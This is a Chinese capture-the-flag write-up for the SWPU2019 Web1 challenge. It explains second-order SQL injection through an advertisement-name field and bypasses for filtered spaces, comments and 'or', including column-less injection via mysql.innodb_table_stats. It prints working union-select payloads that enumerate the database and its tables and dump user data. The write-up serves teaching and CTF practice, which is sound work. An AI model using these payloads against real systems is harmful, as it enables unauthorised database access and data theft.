[SWPU2019]Web1 writeup

知识点

二次注入
sql中 or 空格 注释符被过滤的 Bypass
空格被过滤

空格过滤可以利用/**/代替空格

注释符被过滤

将后面的单引号闭合即可 即把井号替换为单引号

or被过滤

这就很难受了,order by、information_schema都不能用。
于是查表名使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
跳过爆字段名直接爆值,参考不知道列名的情况下注入

or 可以使用|| 绕过

information_schema无法使用的bypass(无列名注入)
参考博客

无列名注入原理过程详解

来自mond0y大佬的payload总结

WHOAMI dalao的详细介绍

题解

随意注册一个账号登录(这里测试注册是否有二次注入点未果)

发现可以申请发布广告。那就发布一个把

image.png

image.png

发下有参数id=1 应该是有注入点 为二次注入 我们尝试在广告名进行注入

一系列的绕过之后尝试爆库

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

在这里插入图片描述

库名是web1 并且证实了存在二次注入且注入点在广告名

接着爆表

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"' 

image.png

采用无字段名爆值

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

image.png

成功爆出flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值